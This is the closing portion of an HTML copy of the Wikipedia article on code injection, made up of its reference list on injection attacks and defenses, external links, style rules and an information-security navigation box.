<li id="cite_note-6"><a href="#cite_ref-6">^</a> <cite id="CITEREFMoralesKartaltepeXuSandhu2010" class="citation book cs1">Morales, Jose Andre; Kartaltepe, Erhan; Xu, Shouhuai; Sandhu, Ravi (2010). "Symptoms-Based Detection of Bot Processes". Computer Network Security. Lecture Notes in Computer Science. Vol. 6258. Berlin, Heidelberg: Springer. pp. 229–241. <a href="CiteSeerX_(identifier)" class="mw-redirect" title="CiteSeerX (identifier)">CiteSeerX</a> <a rel="nofollow" class="external text" href="https://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.185.2152">10.1.1.185.2152</a>. <a href="Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<a rel="nofollow" class="external text" href="https://doi.org/10.1007%2F978-3-642-14706-7_18">10.1007/978-3-642-14706-7_18</a>. <a href="ISBN_(identifier)" class="mw-redirect" title="ISBN (identifier)">ISBN</a> <bdi>978-3-642-14705-0</bdi>. <a href="ISSN_(identifier)" class="mw-redirect" title="ISSN (identifier)">ISSN</a> <a rel="nofollow" class="external text" href="https://search.worldcat.org/issn/0302-9743">0302-9743</a>.</cite>

</li>

<li id="cite_note-7"><a href="#cite_ref-7">^</a> <cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/">"Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs"</a>. Rafał Cieślak's blog. 2 April 2013. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20211225191742/https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/">Archived</a> from the original on 25 December 2021. Retrieved 10 December 2016.</cite>

</li>

<li id="cite_note-8"><a href="#cite_ref-8">^</a> <cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://docs.oracle.com/javaee/6/tutorial/doc/gjitv.html">"The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries"</a>. Oracle. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20131111182712/http://docs.oracle.com/javaee/6/tutorial/doc/gjitv.html">Archived</a> from the original on 11 November 2013. Retrieved 19 December 2013.</cite>

</li>

<li id="cite_note-types-9"><a href="#cite_ref-types_9-0">^</a> <cite id="CITEREFMoertel2006" class="citation web cs1">Moertel, Tom (18 October 2006). <a rel="nofollow" class="external text" href="http://blog.moertel.com/posts/2006-10-18-a-type-based-solution-to-the-strings-problem.html">"A type-based solution to the "strings problem": a fitting end to XSS and SQL-injection holes?"</a>. Tom Moertel's Blog. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20130806145659/http://blog.moertel.com/posts/2006-10-18-a-type-based-solution-to-the-strings-problem.html">Archived</a> from the original on 6 August 2013. Retrieved 21 October 2018.</cite>

</li>

<li id="cite_note-10"><a href="#cite_ref-10">^</a> <cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://www.owasp.org/index.php/HttpOnly">"HttpOnly"</a>. OWASP. 12 November 2014. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20081226095717/http://www.owasp.org/index.php/HTTPOnly">Archived</a> from the original on 26 December 2008. Retrieved 10 December 2016.</cite>

</li>

<li id="cite_note-11"><a href="#cite_ref-11">^</a> <cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet">"SQL Injection Prevention Cheat Sheet"</a>. OWASP. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20120120064335/https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet">Archived</a> from the original on 20 January 2012. Retrieved 10 December 2016.</cite>

</li>

<li id="cite_note-12"><a href="#cite_ref-12">^</a> <cite id="CITEREFPhilippaertsYounanMuyllePiessens2013" class="citation journal cs1">Philippaerts, Pieter; et al. (1 June 2013). <a rel="nofollow" class="external text" href="http://fort-knox.org/files/tissec.pdf">"CPM: Masking Code Pointers to Prevent Code Injection Attacks"</a> (PDF). ACM Transactions on Information and System Security. 16 (1): 1–27. <a href="Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<a rel="nofollow" class="external text" href="https://doi.org/10.1145%2F2487222.2487223">10.1145/2487222.2487223</a>. <a href="ISSN_(identifier)" class="mw-redirect" title="ISSN (identifier)">ISSN</a> <a rel="nofollow" class="external text" href="https://search.worldcat.org/issn/1094-9224">1094-9224</a>. <a href="S2CID_(identifier)" class="mw-redirect" title="S2CID (identifier)">S2CID</a> <a rel="nofollow" class="external text" href="https://api.semanticscholar.org/CorpusID:10947780">10947780</a>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20210224082956/http://fort-knox.org/files/tissec.pdf">Archived</a> (PDF) from the original on 24 February 2021. Retrieved 21 October 2018.</cite>

</li>

<li id="cite_note-13"><a href="#cite_ref-13">^</a> <cite id="CITEREFZhuoCaiZhangLv2021" class="citation journal cs1">Zhuo, Z.; Cai, T.; Zhang, X.; Lv, F. (12 March 2021). <a rel="nofollow" class="external text" href="https://onlinelibrary.wiley.com/doi/10.1049/sfw2.12018">"Long short-term memory on abstract syntax tree for SQL injection detection"</a>. IET Software. 15 (2): 188–197. <a href="Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<a rel="nofollow" class="external text" href="https://doi.org/10.1049%2Fsfw2.12018">10.1049/sfw2.12018</a>. <a href="ISSN_(identifier)" class="mw-redirect" title="ISSN (identifier)">ISSN</a> <a rel="nofollow" class="external text" href="https://search.worldcat.org/issn/1751-8806">1751-8806</a>. <a href="S2CID_(identifier)" class="mw-redirect" title="S2CID (identifier)">S2CID</a> <a rel="nofollow" class="external text" href="https://api.semanticscholar.org/CorpusID:233582569">233582569</a>.</cite>

</li>

<li id="cite_note-HopeWalther-14"><a href="#cite_ref-HopeWalther_14-0">^</a> <cite id="CITEREFHopeHopeWalther2009" class="citation book cs1">Hope, Brian; Hope, Paco; Walther, Ben (15 May 2009). <a rel="nofollow" class="external text" href="https://archive.org/details/websecuritytesti00hope">Web Security Testing Cookbook</a>. Sebastopol, CA: <a href="O'Reilly_Media" title="O'Reilly Media">O'Reilly Media</a>. p. <a rel="nofollow" class="external text" href="https://archive.org/details/websecuritytesti00hope/page/254">254</a>. <a href="ISBN_(identifier)" class="mw-redirect" title="ISBN (identifier)">ISBN</a> <bdi>978-0-596-51483-9</bdi>. <a href="OCLC_(identifier)" class="mw-redirect" title="OCLC (identifier)">OCLC</a> <a rel="nofollow" class="external text" href="https://search.worldcat.org/oclc/297573828">297573828</a>.</cite>

</li>

<li id="cite_note-15"><a href="#cite_ref-15">^</a> <cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://portswigger.net/research/server-side-template-injection">"Server-Side Template Injection"</a>. PortSwigger Research. 5 August 2015. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20220522214453/https://portswigger.net/research/server-side-template-injection">Archived</a> from the original on 22 May 2022. Retrieved 22 May 2022.</cite>

</li>

<li id="cite_note-16"><a href="#cite_ref-16">^</a> <cite id="CITEREFChristey2006" class="citation mailinglist cs1">Christey, Steven M. (3 May 2006). <a rel="nofollow" class="external text" href="https://seclists.org/fulldisclosure/2006/May/35">"Dynamic Evaluation Vulnerabilities in PHP applications"</a>. Full Disclosure (Mailing list). <a rel="nofollow" class="external text" href="https://web.archive.org/web/20091113113128/https://seclists.org/fulldisclosure/2006/May/35">Archived</a> from the original on 13 November 2009. Retrieved 21 October 2018.</cite>

</li>

<li id="cite_note-17"><a href="#cite_ref-17">^</a> <cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://uk3.php.net/manual/en/function.unserialize.php#refsect1-function.unserialize-notes">"Unserialize function warnings"</a>. PHP.net. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20150509190058/http://uk3.php.net/manual/en/function.unserialize.php#refsect1-function.unserialize-notes">Archived</a> from the original on 9 May 2015. Retrieved 6 June 2014.</cite>

</li>

<li id="cite_note-18"><a href="#cite_ref-18">^</a> <cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://karmainsecurity.com/analysis-of-the-joomla-php-object-injection-vulnerability">"Analysis of the Joomla PHP Object Injection Vulnerability"</a>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20130302093029/http://karmainsecurity.com/analysis-of-the-joomla-php-object-injection-vulnerability">Archived</a> from the original on 2 March 2013. Retrieved 6 June 2014.</cite>

</li>

<li id="cite_note-19"><a href="#cite_ref-19">^</a> <cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://web.archive.org/web/20131220043257/https://www.owasp.org/index.php/Command_Injection">"Command Injection"</a>. Archived from <a rel="nofollow" class="external text" href="https://www.owasp.org/index.php/Command_Injection">the original</a> on 20 December 2013. Retrieved 19 December 2013.</cite>

</li>

<li id="cite_note-20"><a href="#cite_ref-20">^</a> Douglas W. Jones, CS:3620 Notes, <a rel="nofollow" class="external text" href="http://www.cs.uiowa.edu/~jones/opsys/notes/04.shtml">Lecture 4—Shell Scripts</a>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20240924022340/http://homepage.divms.uiowa.edu/~jones/opsys/notes/04.shtml">Archived</a> 24 September 2024 at the <a href="Wayback_Machine" title="Wayback Machine">Wayback Machine</a>, Spring 2018.

</li>

<li id="cite_note-21"><a href="#cite_ref-21">^</a> <cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://archive.today/20150227081226/http://blackhat.life/Command_Injection">"Command Injection - Black Hat Library"</a>. Archived from <a rel="nofollow" class="external text" href="http://blackhat.life/Command_Injection">the original</a> on 27 February 2015. Retrieved 27 February 2015.</cite>

</li>

</ol></div></div>

<div class="mw-heading mw-heading2"><h2 id="External_links">External links</h2></div>

<ul><li>Tadeusz Pietraszek and Chris Vanden Berghe. "<a rel="nofollow" class="external text" href="https://web.archive.org/web/20060301133252/http://chris.vandenberghe.org/publications/csse_raid2005.pdf">Defending against Injection Attacks through Context-Sensitive String Evaluation (CSSE)</a>"</li>

<li>News article "<a rel="nofollow" class="external text" href="https://web.archive.org/web/20050924080540/http://www.emsisoft.com/en/kb/articles/news041104/">Flux</a> spreads wider—First <a href="Trojan_horse_(computing)" title="Trojan horse (computing)">Trojan horse</a> to make use of code injection to prevent detection from a <a href="Firewall_(networking)" class="mw-redirect" title="Firewall (networking)">firewall</a></li>

<li><a rel="nofollow" class="external text" href="http://www.thedailywtf.com/">The Daily WTF</a> regularly reports real-world instances of susceptibility to code injection in software</li></ul>

/* start https://en.wikipedia.org/ */

.mw-parser-output .hlist dl,.mw-parser-output .hlist ol,.mw-parser-output .hlist ul{margin:0;padding:0}.mw-parser-output .hlist dd,.mw-parser-output .hlist dt,.mw-parser-output .hlist li{margin:0;display:inline}.mw-parser-output .hlist.inline,.mw-parser-output .hlist.inline dl,.mw-parser-output .hlist.inline ol,.mw-parser-output .hlist.inline ul,.mw-parser-output .hlist dl dl,.mw-parser-output .hlist dl ol,.mw-parser-output .hlist dl ul,.mw-parser-output .hlist ol dl,.mw-parser-output .hlist ol ol,.mw-parser-output .hlist ol ul,.mw-parser-output .hlist ul dl,.mw-parser-output .hlist ul ol,.mw-parser-output .hlist ul ul{display:inline}.mw-parser-output .hlist .mw-empty-li{display:none}.mw-parser-output .hlist dt::after{content:": "}.mw-parser-output .hlist dd::after,.mw-parser-output .hlist li::after{content:" · ";font-weight:bold}.mw-parser-output .hlist dd:last-child::after,.mw-parser-output .hlist dt:last-child::after,.mw-parser-output .hlist li:last-child::after{content:none}.mw-parser-output .hlist dd dd:first-child::before,.mw-parser-output .hlist dd dt:first-child::before,.mw-parser-output .hlist dd li:first-child::before,.mw-parser-output .hlist dt dd:first-child::before,.mw-parser-output .hlist dt dt:first-child::before,.mw-parser-output .hlist dt li:first-child::before,.mw-parser-output .hlist li dd:first-child::before,.mw-parser-output .hlist li dt:first-child::before,.mw-parser-output .hlist li li:first-child::before{content:" (";font-weight:normal}.mw-parser-output .hlist dd dd:last-child::after,.mw-parser-output .hlist dd dt:last-child::after,.mw-parser-output .hlist dd li:last-child::after,.mw-parser-output .hlist dt dd:last-child::after,.mw-parser-output .hlist dt dt:last-child::after,.mw-parser-output .hlist dt li:last-child::after,.mw-parser-output .hlist li dd:last-child::after,.mw-parser-output .hlist li dt:last-child::after,.mw-parser-output .hlist li li:last-child::after{content:")";font-weight:normal}.mw-parser-output .hlist ol{counter-reset:listitem}.mw-parser-output .hlist ol>li{counter-increment:listitem}.mw-parser-output .hlist ol>li::before{content:" "counter(listitem)"\a0 "}.mw-parser-output .hlist dd ol>li:first-child::before,.mw-parser-output .hlist dt ol>li:first-child::before,.mw-parser-output .hlist li ol>li:first-child::before{content:" ("counter(listitem)"\a0 "}

/* end https://en.wikipedia.org/ */

</style><style data-mw-deduplicate="TemplateStyles:r1236075235">

/* start https://en.wikipedia.org/ */

.mw-parser-output .navbox{box-sizing:border-box;border:1px solid #a2a9b1;width:100%;clear:both;font-size:88%;text-align:center;padding:1px;margin:1em auto 0}.mw-parser-output .navbox .navbox{margin-top:0}.mw-parser-output .navbox+.navbox,.mw-parser-output .navbox+.navbox-styles+.navbox{margin-top:-1px}.mw-parser-output .navbox-inner,.mw-parser-output .navbox-subgroup{width:100%}.mw-parser-output .navbox-group,.mw-parser-output .navbox-title,.mw-parser-output .navbox-abovebelow{padding:0.25em 1em;line-height:1.5em;text-align:center}.mw-parser-output .navbox-group{white-space:nowrap;text-align:right}.mw-parser-output .navbox,.mw-parser-output .navbox-subgroup{background-color:#fdfdfd}.mw-parser-output .navbox-list{line-height:1.5em;border-color:#fdfdfd}.mw-parser-output .navbox-list-with-group{text-align:left;border-left-width:2px;border-left-style:solid}.mw-parser-output tr+tr>.navbox-abovebelow,.mw-parser-output tr+tr>.navbox-group,.mw-parser-output tr+tr>.navbox-image,.mw-parser-output tr+tr>.navbox-list{border-top:2px solid #fdfdfd}.mw-parser-output .navbox-title{background-color:#ccf}.mw-parser-output .navbox-abovebelow,.mw-parser-output .navbox-group,.mw-parser-output .navbox-subgroup .navbox-title{background-color:#ddf}.mw-parser-output .navbox-subgroup .navbox-group,.mw-parser-output .navbox-subgroup .navbox-abovebelow{background-color:#e6e6ff}.mw-parser-output .navbox-even{background-color:#f7f7f7}.mw-parser-output .navbox-odd{background-color:transparent}.mw-parser-output .navbox .hlist td dl,.mw-parser-output .navbox .hlist td ol,.mw-parser-output .navbox .hlist td ul,.mw-parser-output .navbox td.hlist dl,.mw-parser-output .navbox td.hlist ol,.mw-parser-output .navbox td.hlist ul{padding:0.125em 0}.mw-parser-output .navbox .navbar{display:block;font-size:100%}.mw-parser-output .navbox-title .navbar{float:left;text-align:left;margin-right:0.5em}body.skin--responsive .mw-parser-output .navbox-image img{max-width:none!important}@media print{body.ns-0 .mw-parser-output .navbox{display:none!important}}

/* end https://en.wikipedia.org/ */

</style></div><div role="navigation" class="navbox" aria-labelledby="Information_security92" style="padding:3px"><table class="nowraplinks mw-collapsible autocollapse navbox-inner" style="border-spacing:0;background:transparent;color:inherit"><tbody><tr><th scope="col" class="navbox-title" colspan="3"><style data-mw-deduplicate="TemplateStyles:r1239400231">

/* start https://en.wikipedia.org/ */

.mw-parser-output .navbar{display:inline;font-size:88%;font-weight:normal}.mw-parser-output .navbar-collapse{float:left;text-align:left}.mw-parser-output .navbar-boxtext{word-spacing:0}.mw-parser-output .navbar ul{display:inline-block;white-space:nowrap;line-height:inherit}.mw-parser-output .navbar-brackets::before{margin-right:-0.125em;content:"[ "}.mw-parser-output .navbar-brackets::after{margin-left:-0.125em;content:" ]"}.mw-parser-output .navbar li{word-spacing:-0.125em}.mw-parser-output .navbar a>span,.mw-parser-output .navbar a>abbr{text-decoration:inherit}.mw-parser-output .navbar-mini abbr{font-variant:small-caps;border-bottom:none;text-decoration:none;cursor:inherit}.mw-parser-output .navbar-ct-full{font-size:114%;margin:0 7em}.mw-parser-output .navbar-ct-mini{font-size:114%;margin:0 4em}html.skin-theme-clientpref-night .mw-parser-output .navbar li a abbr{color:var(--color-base)!important}@media(prefers-color-scheme:dark){html.skin-theme-clientpref-os .mw-parser-output .navbar li a abbr{color:var(--color-base)!important}}@media print{.mw-parser-output .navbar{display:none!important}}

/* end https://en.wikipedia.org/ */

</style><div id="Information_security92" style="font-size:114%;margin:0 4em"><a href="Information_security" title="Information security">Information security</a></div></th></tr><tr><th scope="row" class="navbox-group" style="width:1%"><a href="Threat_(computer)" class="mw-redirect" title="Threat (computer)">Threats</a></th><td class="navbox-list-with-group navbox-list navbox-odd hlist" style="width:100%;padding:0"><div style="padding:0 0.25em">

<ul><li><a href="Adware" title="Adware">Adware</a></li>

<li><a href="Advanced_persistent_threat" title="Advanced persistent threat">Advanced persistent threat</a></li>

<li><a href="Arbitrary_code_execution" title="Arbitrary code execution">Arbitrary code execution</a></li>

<li><a href="Backdoor_(computing)" title="Backdoor (computing)">Backdoors</a></li>

<li>Bombs

<li><a href="Logic_bomb" title="Logic bomb">Logic</a></li>

<li><a href="Hardware_backdoor" title="Hardware backdoor">Hardware backdoors</a></li>

<li><a href="Crimeware" title="Crimeware">Crimeware</a></li>

<li><a href="Cross-site_scripting" title="Cross-site scripting">Cross-site scripting</a></li>

<li><a href="Cross-site_leaks" title="Cross-site leaks">Cross-site leaks</a></li>

<li><a href="DOM_clobbering" title="DOM clobbering">DOM clobbering</a></li>

<li><a href="History_sniffing" title="History sniffing">History sniffing</a></li>

<li><a href="Cryptojacking" title="Cryptojacking">Cryptojacking</a></li>

<li><a href="Botnet" title="Botnet">Botnets</a></li>

<li><a href="Data_breach" title="Data breach">Data breach</a></li>

<li><a href="Drive-by_download" title="Drive-by download">Drive-by download</a></li>

<li><a href="Browser_Helper_Object" title="Browser Helper Object">Browser Helper Objects</a></li>

<li><a href="Computer_virus" title="Computer virus">Viruses</a></li>

<li><a href="Data_scraping" title="Data scraping">Data scraping</a></li>

<li><a href="Denial-of-service_attack" title="Denial-of-service attack">Denial-of-service attack</a></li>

<li><a href="Eavesdropping" title="Eavesdropping">Eavesdropping</a></li>

<li><a href="Email_fraud" title="Email fraud">Email fraud</a></li>

<li><a href="Email_spoofing" title="Email spoofing">Email spoofing</a></li>

<li><a href="Exploit_(computer_security)" title="Exploit (computer security)">Exploits</a></li>

<li><a href="Dialer#Fraudulent_dialer" title="Dialer">Fraudulent dialers</a></li>

<li><a href="Hacktivism" title="Hacktivism">Hacktivism</a></li>

<li><a href="Infostealer" title="Infostealer">Infostealer</a></li>

<li><a href="Insecure_direct_object_reference" title="Insecure direct object reference">Insecure direct object reference</a></li>

<li><a href="Keystroke_logging" title="Keystroke logging">Keystroke loggers</a></li>

<li><a href="Malware" title="Malware">Malware</a></li>

<li><a href="Payload_(computing)" title="Payload (computing)">Payload</a></li>

<li><a href="Phishing" title="Phishing">Phishing</a>

<ul><li><a href="Voice_phishing" title="Voice phishing">Voice</a></li></ul></li>

<li><a href="Polymorphic_engine" title="Polymorphic engine">Polymorphic engine</a></li>

<li><a href="Privilege_escalation" title="Privilege escalation">Privilege escalation</a></li>

<li><a href="Ransomware" title="Ransomware">Ransomware</a></li>

<li><a href="Rootkit" title="Rootkit">Rootkits</a></li>

<li><a href="Scareware" title="Scareware">Scareware</a></li>

<li><a href="Shellcode" title="Shellcode">Shellcode</a></li>

<li><a href="Spamming" title="Spamming">Spamming</a></li>

<li><a href="Social_engineering_(security)" title="Social engineering (security)">Social engineering</a></li>

<li><a href="Spyware" title="Spyware">Spyware</a></li>

<li><a href="Software_bug" title="Software bug">Software bugs</a></li>

<li><a href="Trojan_horse_(computing)" title="Trojan horse (computing)">Trojan horses</a></li>

<li><a href="Hardware_Trojan" title="Hardware Trojan">Hardware Trojans</a></li>

<li><a href="Remote_access_trojan" class="mw-redirect" title="Remote access trojan">Remote access trojans</a></li>

<li><a href="Vulnerability_(computer_security)" title="Vulnerability (computer security)">Vulnerability</a></li>

<li><a href="Web_shell" title="Web shell">Web shells</a></li>

<li><a href="Wiper_(malware)" title="Wiper (malware)">Wiper</a></li>

<li><a href="Computer_worm" title="Computer worm">Worms</a></li>

<li><a href="SQL_injection" title="SQL injection">SQL injection</a></li>

<li><a href="Rogue_security_software" title="Rogue security software">Rogue security software</a></li>

<li><a href="Zombie_(computing)" title="Zombie (computing)">Zombie</a></li></ul>

</div></td><td class="noviewer navbox-image" rowspan="3" style="width:1px;padding:0 0 0 2px"><div></div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">Defenses</th><td class="navbox-list-with-group navbox-list navbox-even hlist" style="width:100%;padding:0"><div style="padding:0 0.25em">

<ul><li><a href="Application_security" title="Application security">Application security</a>

<ul><li><a href="Secure_coding" title="Secure coding">Secure coding</a></li>

<li>Secure by default</li>

<li><a href="Secure_by_design" title="Secure by design">Secure by design</a>

<ul><li><a href="Misuse_case" title="Misuse case">Misuse case</a></li></ul></li></ul></li>

<li><a href="Computer_access_control" title="Computer access control">Computer access control</a>

<ul><li><a href="Authentication" title="Authentication">Authentication</a>

<ul><li><a href="Multi-factor_authentication" title="Multi-factor authentication">Multi-factor authentication</a></li></ul></li>

<li><a href="Authorization" title="Authorization">Authorization</a></li></ul></li>

<li><a href="Computer_security_software" title="Computer security software">Computer security software</a>

<ul><li><a href="Antivirus_software" title="Antivirus software">Antivirus software</a></li>

<li><a href="Security-focused_operating_system" title="Security-focused operating system">Security-focused operating system</a></li></ul></li>

<li><a href="Data-centric_security" title="Data-centric security">Data-centric security</a></li>

<li><a href="Obfuscation_(software)" title="Obfuscation (software)">Software obfuscation</a></li>

<li><a href="Data_masking" title="Data masking">Data masking</a></li>

<li><a href="Encryption" title="Encryption">Encryption</a></li>

<li><a href="Firewall_(computing)" title="Firewall (computing)">Firewall</a></li>

<li><a href="Intrusion_detection_system" title="Intrusion detection system">Intrusion detection system</a>

<ul><li><a href="Host-based_intrusion_detection_system" title="Host-based intrusion detection system">Host-based intrusion detection system</a> (HIDS)</li>

<li><a href="Anomaly_detection" title="Anomaly detection">Anomaly detection</a></li></ul></li>

<li><a href="Information_security_management" title="Information security management">Information security management</a>

<ul><li><a href="Information_risk_management" class="mw-redirect" title="Information risk management">Information risk management</a></li>

<li><a href="Security_information_and_event_management" title="Security information and event management">Security information and event management</a> (SIEM)</li></ul></li>

<li><a href="Runtime_application_self-protection" title="Runtime application self-protection">Runtime application self-protection</a></li>

<li><a href="Site_isolation" title="Site isolation">Site isolation</a></li></ul>

</div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">Related security topics</th><td class="navbox-list-with-group navbox-list navbox-odd hlist" style="width:100%;padding:0"><div style="padding:0 0.25em">

<ul><li><a href="Computer_security" title="Computer security">Computer security</a></li>

<li><a href="Automotive_security" title="Automotive security">Automotive security</a></li>

<li><a href="Cybercrime" title="Cybercrime">Cybercrime</a>

<ul><li><a href="Cybersex_trafficking" title="Cybersex trafficking">Cybersex trafficking</a></li>

<li><a href="Computer_fraud" title="Computer fraud">Computer fraud</a></li></ul></li>

<li><a href="Cybergeddon" title="Cybergeddon">Cybergeddon</a></li>

<li><a href="Cyberterrorism" title="Cyberterrorism">Cyberterrorism</a></li>

<li><a href="Cyberwarfare" title="Cyberwarfare">Cyberwarfare</a></li>

<li><a href="Electronic_warfare" title="Electronic warfare">Electronic warfare</a></li>

<li><a href="Information_warfare" title="Information warfare">Information warfare</a></li>

<li><a href="Internet_security" title="Internet security">Internet security</a></li>

<li><a href="Mobile_security" title="Mobile security">Mobile security</a></li>

<li><a href="Network_security" title="Network security">Network security</a></li>

<li><a href="Copy_protection" title="Copy protection">Copy protection</a></li>

<li><a href="Digital_rights_management" title="Digital rights management">Digital rights management</a></li></ul>

</div></td></tr></tbody></table></div></div><div><div class="zim-footer">

This article is issued from <a class="external text" title="Last edited on 2025-06-24" href="https://en.wikipedia.org/wiki/?title=Code_injection&oldid=1297081537">Wikipedia</a>. The text is available under <a class="external text" href="https://creativecommons.org/licenses/by-sa/4.0/deed.en">Creative Commons Attribution-Share Alike 4.0</a> unless otherwise noted. Additional terms may apply for the media files.

</div>

</div></div>

</div>

</main>

</div>

</body></html>